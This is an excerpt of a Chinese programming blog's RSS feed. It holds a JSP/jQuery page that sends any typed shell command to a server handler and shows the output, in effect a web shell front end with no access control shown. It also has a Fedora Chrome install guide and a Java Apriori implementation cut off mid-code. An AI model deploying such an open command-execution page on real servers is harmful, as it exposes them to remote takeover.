keyword"="">title</code><code plain"="">&gt;ls&lt;/</code><code keyword"="">title</code><code plain"="">&gt;</code></div><div number9="" index8=""  alt2"=""><code plain"="">&lt;</code><code keyword"="">script</code> <code color1"="">type</code><code plain"="">=</code><code string"="">"text/javascript"</code> <code plain"="">src="&lt;%=request.getContextPath()%&gt;/js/jquery-1.4.2.min.js"&gt;&lt;/</code><code keyword"="">script</code><code plain"="">&gt;</code></div><div number10="" index9=""  alt1"=""><code plain"="">&lt;</code><code keyword"="">script</code> <code color1"="">type</code><code plain"="">=</code><code string"="">"text/javascript"</code><code plain"="">&gt;</code></div><div number11="" index10=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">function postShell(){</code></div><div number12="" index11=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">var res=$("#resultDiv");</code></div><div number13="" index12=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">var shell=$("#shellStr").val();</code></div><div number14="" index13=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">if(shell==""){</code></div><div number15="" index14=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">alert("不能为空");&nbsp; </code></div><div number16="" index15=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">}else{</code></div><div number17="" index16=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">$.ajax( {</code></div><div number18="" index17=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">type : "POST",</code></div><div number19="" index18=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">url : "linux.do",</code></div><div number20="" index19=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">data : "method=ls_List&amp;str="+shell,</code></div><div number21="" index20=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">success : function(msg) {</code></div><div number22="" index21=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">res.html(msg);</code></div><div number23="" index22=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">}</code></div><div number24="" index23=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">})</code></div><div number25="" index24=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">}</code></div><div number26="" index25=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">}</code></div><div number27="" index26=""  alt2"=""><code plain"="">&lt;/</code><code keyword"="">script</code><code plain"="">&gt;</code></div><div number28="" index27=""  alt1"=""><code plain"="">&lt;/</code><code keyword"="">head</code><code plain"="">&gt;</code></div><div number29="" index28=""  alt2"=""><code plain"="">&lt;</code><code keyword"="">body</code><code plain"="">&gt;</code></div><div number30="" index29=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">&lt;</code><code keyword"="">div</code> <code color1"="">style</code><code plain"="">=</code><code string"="">"width:100%;height:100%;background-color:#eee;"</code><code plain"="">&gt;</code></div><div number31="" index30=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">&lt;</code><code keyword"="">div</code> <code color1"="">style</code><code plain"="">=</code><code string"="">"float:left;width:700px;height:600px;overflow: auto;"</code><code plain"="">&gt;</code></div><div number32="" index31=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">&lt;</code><code keyword"="">div</code> <code color1"="">style</code><code plain"="">=</code><code string"="">"width:700px;height:600px;overflow: auto;border:1px solid #ccc;background-color:#000;color:#fff;"</code> <code color1"="">id</code><code plain"="">=</code><code string"="">"resultDiv"</code><code plain"="">&gt;</code></div><div number33="" index32=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</div><div number34="" index33=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</div><div number35="" index34=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">&lt;/</code><code keyword"="">div</code><code plain"="">&gt;</code></div><div number36="" index35=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">&lt;/</code><code keyword"="">div</code><code plain"="">&gt;</code></div><div number37="" index36=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">&lt;</code><code keyword"="">div</code> <code color1"="">style</code><code plain"="">=</code><code string"="">"float:left:width:400px;padding-top:100px;"</code><code plain"="">&gt;</code></div><div number38="" index37=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">&lt;</code><code keyword"="">table</code><code plain"="">&gt;</code></div><div number39="" index38=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">&lt;</code><code keyword"="">tbody</code><code plain"="">&gt;</code></div><div number40="" index39=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">&lt;</code><code keyword"="">tr</code><code plain"="">&gt;</code></div><div number41="" index40=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">&lt;</code><code keyword"="">td</code><code plain"="">&gt;</code></div><div number42="" index41=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">&lt;</code><code keyword"="">textarea</code> <code color1"="">rows</code><code plain"="">=</code><code string"="">"5"</code> <code color1"="">cols</code><code plain"="">=</code><code string"="">"50"</code> <code color1"="">id</code><code plain"="">=</code><code string"="">"shellStr"</code><code plain"="">&gt;&lt;/</code><code keyword"="">textarea</code><code plain"="">&gt;</code></div><div number43="" index42=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">&lt;/</code><code keyword"="">td</code><code plain"="">&gt;</code></div><div number44="" index43=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">&lt;/</code><code keyword"="">tr</code><code plain"="">&gt;</code></div><div number45="" index44=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">&lt;</code><code keyword"="">tr</code><code plain"="">&gt;</code></div><div number46="" index45=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">&lt;</code><code keyword"="">td</code><code plain"="">&gt;</code></div><div number47="" index46=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">&lt;</code><code keyword"="">input</code> <code color1"="">value</code><code plain"="">=</code><code string"="">"提交"</code> <code color1"="">type</code><code plain"="">=</code><code string"="">"button"</code> <code color1"="">onClick</code><code plain"="">=</code><code string"="">"postShell();"</code> <code color1"="">style</code><code plain"="">=</code><code string"="">"width:100px;height:30px;"</code><code plain"="">/&gt;</code></div><div number48="" index47=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">&lt;/</code><code keyword"="">td</code><code plain"="">&gt;</code></div><div number49="" index48=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">&lt;/</code><code keyword"="">tr</code><code plain"="">&gt;</code></div><div number50="" index49=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">&lt;/</code><code keyword"="">tbody</code><code plain"="">&gt;</code></div><div number51="" index50=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">&lt;/</code><code keyword"="">table</code><code plain"="">&gt;</code></div><div number52="" index51=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">&lt;/</code><code keyword"="">div</code><code plain"="">&gt;</code></div><div number53="" index52=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">&lt;/</code><code keyword"="">div</code><code plain"="">&gt;</code></div><div number54="" index53=""  alt1"=""><code plain"="">&lt;/</code><code keyword"="">body</code><code plain"="">&gt;</code></div><div number55="" index54=""  alt2"=""><code plain"="">&lt;/</code><code keyword"="">html</code><code plain"="">&gt;<br /><div>然后你就可以使用shell命令了。</div></code></div></div></div></div><p>&nbsp;</p><img src ="http://www.cppblog.com/realzbc/aggbug/199367.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/realzbc/" target="_blank">R&P</a> 2013-04-12 10:13 <a href="http://www.cppblog.com/realzbc/archive/2013/04/12/199367.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>fedora 17 命令行安装chrome</title><link>http://www.cppblog.com/realzbc/archive/2013/04/08/199204.html</link><dc:creator>R&amp;P</dc:creator><author>R&amp;P</author><pubDate>Mon, 08 Apr 2013 04:12:00 GMT</pubDate><guid>http://www.cppblog.com/realzbc/archive/2013/04/08/199204.html</guid><wfw:comment>http://www.cppblog.com/realzbc/comments/199204.html</wfw:comment><comments>http://www.cppblog.com/realzbc/archive/2013/04/08/199204.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/realzbc/comments/commentRss/199204.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/realzbc/services/trackbacks/199204.html</trackback:ping><description><![CDATA[<div>1.在 /etc/yum.repos.d/目录下添加google-chrome.repo文件</div>
<div>内容如下：</div>
<div>32-bit&nbsp;<br />
<ol start="1">
     <li>[google-chrome]&nbsp;&nbsp;</li>
     <li>name=google-chrome&nbsp;-&nbsp;32-bit&nbsp;&nbsp;</li>
     <li>baseurl=http://dl.google.com/linux/chrome/rpm/stable/i386&nbsp;&nbsp;</li>
     <li>enabled=1&nbsp;&nbsp;</li>
     <li>gpgcheck=1&nbsp;&nbsp;</li>
     <li>gpgkey=https://dl-ssl.google.com/linux/linux_signing_key.pub &nbsp;</li>
</ol>
64-bit
<div bg_html"="">
<div>
<div><br /><div style="position: absolute; left: 374px; top: 728px; width: 18px; height: 18px; z-index: 99;"><embed id="ZeroClipboardMovie_2" src="http://static.blog.csdn.net/scripts/ZeroClipboard/ZeroClipboard.swf" loop="false" menu="false" quality="best" bgcolor="#ffffff" name="ZeroClipboardMovie_2" allowscriptaccess="always" allowfullscreen="false" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" flashvars="id=2&amp;width=18&amp;height=18" wmode="transparent" align="center" height="18" width="18"></div>
</div>
</div>
<ol start="1">
     <li>[google-chrome]&nbsp;&nbsp;</li>
     <li>name=google-chrome&nbsp;-&nbsp;64-bit&nbsp;&nbsp;</li>
     <li>baseurl=http://dl.google.com/linux/chrome/rpm/stable/x86_64&nbsp;&nbsp;</li>
     <li>enabled=1&nbsp;&nbsp;</li>
     <li>gpgcheck=1&nbsp;&nbsp;</li>
     <li>gpgkey=https://dl-ssl.google.com/linux/linux_signing_key.pub&nbsp;&nbsp;</li>
</ol>
</div>
2、安装<br />
Install Google Chrome Stable Version
<div bg_html"="">
<div>
<div><br /><div style="position: absolute; left: 374px; top: 957px; width: 18px; height: 18px; z-index: 99;"><embed id="ZeroClipboardMovie_3" src="http://static.blog.csdn.net/scripts/ZeroClipboard/ZeroClipboard.swf" loop="false" menu="false" quality="best" bgcolor="#ffffff" name="ZeroClipboardMovie_3" allowscriptaccess="always" allowfullscreen="false" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" flashvars="id=3&amp;width=18&amp;height=18" wmode="transparent" align="center" height="18" width="18"></div>
</div>
</div>
<ol start="1">
     <li>##&nbsp;Install&nbsp;Google&nbsp;Chrome&nbsp;Stable&nbsp;version&nbsp;##&nbsp;&nbsp;</li>
     <li>yum&nbsp;install&nbsp;google-chrome-stable&nbsp;&nbsp;</li>
</ol>
</div>
Install Google Chrome Beta Version
<div bg_html"="">
<div>
<div><br /><div style="position: absolute; left: 374px; top: 1088px; width: 18px; height: 18px; z-index: 99;"><embed id="ZeroClipboardMovie_4" src="http://static.blog.csdn.net/scripts/ZeroClipboard/ZeroClipboard.swf" loop="false" menu="false" quality="best" bgcolor="#ffffff" name="ZeroClipboardMovie_4" allowscriptaccess="always" allowfullscreen="false" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" flashvars="id=4&amp;width=18&amp;height=18" wmode="transparent" align="center" height="18" width="18"></div>
</div>
</div>
<ol start="1">
     <li>##&nbsp;Install&nbsp;Google&nbsp;Chrome&nbsp;Beta&nbsp;version&nbsp;##&nbsp;&nbsp;</li>
     <li>yum&nbsp;install&nbsp;google-chrome-beta&nbsp;&nbsp;</li>
</ol>
</div>
<p>Install Google Chrome Unstable Version</p>
<div bg_html"="">
<div>
<div><br /><div style="position: absolute; left: 374px; top: 1219px; width: 18px; height: 18px; z-index: 99;"><embed id="ZeroClipboardMovie_5" src="http://static.blog.csdn.net/scripts/ZeroClipboard/ZeroClipboard.swf" loop="false" menu="false" quality="best" bgcolor="#ffffff" name="ZeroClipboardMovie_5" allowscriptaccess="always" allowfullscreen="false" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" flashvars="id=5&amp;width=18&amp;height=18" wmode="transparent" align="center" height="18" width="18"></div>
</div>
</div>
<ol start="1">
     <li>##&nbsp;Install&nbsp;Google&nbsp;Chrome&nbsp;Unstable&nbsp;version&nbsp;##&nbsp;&nbsp;</li>
     <li>yum&nbsp;install&nbsp;google-chrome-unstable&nbsp;</li>
</ol>
</div>
</div><img src ="http://www.cppblog.com/realzbc/aggbug/199204.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/realzbc/" target="_blank">R&P</a> 2013-04-08 12:12 <a href="http://www.cppblog.com/realzbc/archive/2013/04/08/199204.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Apriori算法基本思想及实现</title><link>http://www.cppblog.com/realzbc/archive/2012/10/31/194127.html</link><dc:creator>R&amp;P</dc:creator><author>R&amp;P</author><pubDate>Wed, 31 Oct 2012 08:10:00 GMT</pubDate><guid>http://www.cppblog.com/realzbc/archive/2012/10/31/194127.html</guid><wfw:comment>http://www.cppblog.com/realzbc/comments/194127.html</wfw:comment><comments>http://www.cppblog.com/realzbc/archive/2012/10/31/194127.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/realzbc/comments/commentRss/194127.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/realzbc/services/trackbacks/194127.html</trackback:ping><description><![CDATA[<p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">&nbsp; &nbsp;Apriori算法的思想还是很容易理解的，实现起来虽然麻烦，但是还是比较容易的。</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">&nbsp;&nbsp;&nbsp; 下面是我使用Java语言实现的Apriori算法，实现了AprioriAlgorithm 类，包含了频繁项集的挖掘过程和频繁关联规则的挖掘过程。</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">&nbsp;&nbsp;&nbsp;&nbsp;另外，有一个辅助类ProperSubsetCombination用于计算一个频繁项集的真子集，采用组合原理，基于数值编码原理实现的组合求解集合的真子集。</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">**************************************************************************</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">算法实现</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">**************************************************************************</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; "><strong style="display: block; line-height: 22px; font-weight: normal; color: #000000; ">（一）核心类</strong></p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; "><strong style="display: block; line-height: 22px; font-weight: normal; color: #000000; ">Apriori算法的核心实现类为AprioriAlgorithm，实现的Java代码如下所示：</strong></p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">import java.util.HashMap;<br />import java.util.HashSet;<br />import java.util.Iterator;<br />import java.util.Map;<br />import java.util.Set;<br />import java.util.TreeMap;</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; "><br />public class AprioriAlgorithm {</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">&nbsp;private Map&lt;Integer, Set&lt;String&gt;&gt; txDatabase; // 事务数据库<br />&nbsp;private Float minSup; // 最小支持度<br />&nbsp;private Float minConf; // 最小置信度<br />&nbsp;private Integer txDatabaseCount; // 事务数据库中的事务数</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">&nbsp;private Map&lt;Integer, Set&lt;Set&lt;String&gt;&gt;&gt; freqItemSet; // 频繁项集集合<br />&nbsp;private Map&lt;Set&lt;String&gt;, Set&lt;Set&lt;String&gt;&gt;&gt; assiciationRules; // 频繁关联规则集合</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">&nbsp;public AprioriAlgorithm(Map&lt;Integer, Set&lt;String&gt;&gt; txDatabase, Float minSup,<br />&nbsp;&nbsp; Float minConf) {<br />&nbsp; this.txDatabase = txDatabase;<br />&nbsp; this.minSup = minSup;<br />&nbsp; this.minConf = minConf;<br />&nbsp; this.txDatabaseCount = this.txDatabase.size();<br />&nbsp; freqItemSet = new TreeMap&lt;Integer, Set&lt;Set&lt;String&gt;&gt;&gt;();<br />&nbsp; assiciationRules = new HashMap&lt;Set&lt;String&gt;, Set&lt;Set&lt;String&gt;&gt;&gt;();<br />&nbsp;}</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">&nbsp;<br />&nbsp;public Map&lt;Set&lt;String&gt;, Float&gt; getFreq1ItemSet() {<br />&nbsp; Map&lt;Set&lt;String&gt;, Float&gt; freq1ItemSetMap = new HashMap&lt;Set&lt;String&gt;, Float&gt;();<br />&nbsp; Map&lt;Set&lt;String&gt;, Integer&gt; candFreq1ItemSet = this.getCandFreq1ItemSet();<br />&nbsp; Iterator&lt;Map.Entry&lt;Set&lt;String&gt;, Integer&gt;&gt; it = candFreq1ItemSet<br />&nbsp;&nbsp;&nbsp; .entrySet().iterator();<br />&nbsp; while (it.hasNext()) {<br />&nbsp;&nbsp; Map.Entry&lt;Set&lt;String&gt;, Integer&gt; entry = it.next();<br />&nbsp;&nbsp; // 计算支持度<br />&nbsp;&nbsp; Float supported = new Float(entry.getValue().toString())<br />&nbsp;&nbsp;&nbsp;&nbsp; / new Float(txDatabaseCount);<br />&nbsp;&nbsp; if (supported &gt;= minSup) {<br />&nbsp;&nbsp;&nbsp; freq1ItemSetMap.put(entry.getKey(), supported);<br />&nbsp;&nbsp; }<br />&nbsp; }<br />&nbsp; return freq1ItemSetMap;<br />&nbsp;}</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">&nbsp;<br />&nbsp;public Map&lt;Set&lt;String&gt;, Integer&gt; getCandFreq1ItemSet() {<br />&nbsp; Map&lt;Set&lt;String&gt;, Integer&gt; candFreq1ItemSetMap = new HashMap&lt;Set&lt;String&gt;, Integer&gt;();<br />&nbsp; Iterator&lt;Map.Entry&lt;Integer, Set&lt;String&gt;&gt;&gt; it = txDatabase.entrySet()<br />&nbsp;&nbsp;&nbsp; .iterator();<br />&nbsp; // 统计支持数，生成候选频繁1-项集<br />&nbsp; while (it.hasNext()) {<br />&nbsp;&nbsp; Map.Entry&lt;Integer, Set&lt;String&gt;&gt; entry = it.next();<br />&nbsp;&nbsp; Set&lt;String&gt; itemSet = entry.getValue();<br />&nbsp;&nbsp; for (String item : itemSet) {<br />&nbsp;&nbsp;&nbsp; Set&lt;String&gt; key = new HashSet&lt;String&gt;();<br />&nbsp;&nbsp;&nbsp; key.add(item.trim());<br />&nbsp;&nbsp;&nbsp; if (!candFreq1ItemSetMap.containsKey(key)) {<br />&nbsp;&nbsp;&nbsp;&nbsp; Integer value = 1;<br />&nbsp;&nbsp;&nbsp;&nbsp; candFreq1ItemSetMap.put(key, value);<br />&nbsp;&nbsp;&nbsp; } else {<br />&nbsp;&nbsp;&nbsp;&nbsp; Integer value = 1 + candFreq1ItemSetMap.get(key);<br />&nbsp;&nbsp;&nbsp;&nbsp; candFreq1ItemSetMap.put(key, value);<br />&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp; }<br />&nbsp; }<br />&nbsp; return candFreq1ItemSetMap;<br />&nbsp;}</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">&nbsp;<br />&nbsp;public Set&lt;Set&lt;String&gt;&gt; aprioriGen(int m, Set&lt;Set&lt;String&gt;&gt; freqMItemSet) {<br />&nbsp; Set&lt;Set&lt;String&gt;&gt; candFreqKItemSet = new HashSet&lt;Set&lt;String&gt;&gt;();<br />&nbsp; Iterator&lt;Set&lt;String&gt;&gt; it = freqMItemSet.iterator();<br />&nbsp; Set&lt;String&gt; originalItemSet = null;<br />&nbsp; while (it.hasNext()) {<br />&nbsp;&nbsp; originalItemSet = it.next();<br />&nbsp;&nbsp; Iterator&lt;Set&lt;String&gt;&gt; itr = this.getIterator(originalItemSet,<br />&nbsp;&nbsp;&nbsp;&nbsp; freqMItemSet);<br />&nbsp;&nbsp; while (itr.hasNext()) {<br />&nbsp;&nbsp;&nbsp; Set&lt;String&gt; identicalSet = new HashSet&lt;String&gt;(); // 两个项集相同元素的集合(集合的交运算)<br />&nbsp;&nbsp;&nbsp; identicalSet.addAll(originalItemSet);<br />&nbsp;&nbsp;&nbsp; Set&lt;String&gt; set = itr.next();<br />&nbsp;&nbsp;&nbsp; identicalSet.retainAll(set); // identicalSet中剩下的元素是identicalSet与set集合中公有的元素<br />&nbsp;&nbsp;&nbsp; if (identicalSet.size() == m - 1) { // (k-1)-项集中k-2个相同<br />&nbsp;&nbsp;&nbsp;&nbsp; Set&lt;String&gt; differentSet = new HashSet&lt;String&gt;(); // 两个项集不同元素的集合(集合的差运算)<br />&nbsp;&nbsp;&nbsp;&nbsp; differentSet.addAll(originalItemSet);<br />&nbsp;&nbsp;&nbsp;&nbsp; differentSet.removeAll(set); // 因为有k-2个相同，则differentSet中一定剩下一个元素，即differentSet大小为1<br />&nbsp;&nbsp;&nbsp;&nbsp; differentSet.addAll(set); // 构造候选k-项集的一个元素(set大小为k-1,differentSet大小为k)<br />&nbsp;&nbsp;&nbsp;&nbsp; candFreqKItemSet.add(differentSet); // 加入候选k-项集集合<br />&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp; }<br />&nbsp; }<br />&nbsp; return candFreqKItemSet;<br />&nbsp;}</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">&nbsp;<br />&nbsp;private Iterator&lt;Set&lt;String&gt;&gt; getIterator(Set&lt;String&gt; itemSet,<br />&nbsp;&nbsp; 